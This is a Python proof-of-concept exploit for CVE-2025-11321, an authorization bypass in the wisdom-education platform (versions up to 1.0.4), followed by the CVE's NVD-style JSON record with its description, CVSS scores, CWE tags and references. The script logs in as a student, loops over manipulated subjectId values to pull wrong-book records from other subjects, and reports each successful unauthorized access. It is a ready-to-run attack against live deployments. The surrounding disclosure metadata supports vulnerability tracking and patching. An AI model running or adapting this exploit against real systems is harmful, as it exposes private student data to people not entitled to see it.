CVE-2025-11321

# CVE-2025-11321 PoC - wisdom-education Authorization Bypass # Vulnerability: Horizontal Privilege Escalation via subjectId parameter # Affected File: WrongBookController.java # Affected Versions: wisdom-education <= 1.0.4 import requests # Target configuration TARGET_URL = "http://target-host:8080" LOGIN_URL = f"{TARGET_URL}/api/student/login" WRONGBOOK_URL = f"{TARGET_URL}/api/student/wrongBook/list" # Step 1: Login with a low-privilege student account session = requests.Session() login_data = { "username": "student_test", "password": "password123" } resp = session.post(LOGIN_URL, json=login_data) print(f"[+] Login status: {resp.status_code}") # Step 2: Access wrong book with manipulated subjectId # The vulnerability allows accessing unauthorized subjects by changing subjectId for subject_id in [1, 2, 3, 4, 5, 100, 101, 102]: params = {"subjectId": subject_id} resp = session.get(WRONGBOOK_URL, params=params) if resp.status_code == 200: data = resp.json() print(f"[+] subjectId={subject_id} - Data accessed: {len(data.get('data', []))} records") # If data is returned for a subject the user shouldn't have access to, # the authorization bypass is confirmed. print("[+] Exploit completed - check for unauthorized data access")

{"cve": {"id": "CVE-2025-11321", "sourceIdentifier": "[email protected]", "published": "2025-10-06T05:15:34.510", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in zhuimengshaonian wisdom-education up to 1.0.4. The affected element is an unknown function of the file src/main/java/com/education/api/controller/student/WrongBookController.java. Performing manipulation of the argument subjectId results in authorization bypass. The attack can be initiated remotely. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/xkalami-Tta0/CVE/blob/main/wisdom-education/%E6%B0%B4%E5%B9%B3%E8%B6%8A%E6%9D%832.md", "source": "[email protected]"}, {"url": "https://github.com/xkalami-Tta0/CVE/blob/main/wisdom-education/%E6%B0%B4%E5%B9%B3%E8%B6%8A%E6%9D%832.md#vulnerability-reproduction", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327202", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327202", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.664395", "source": "[email protected]"}]}}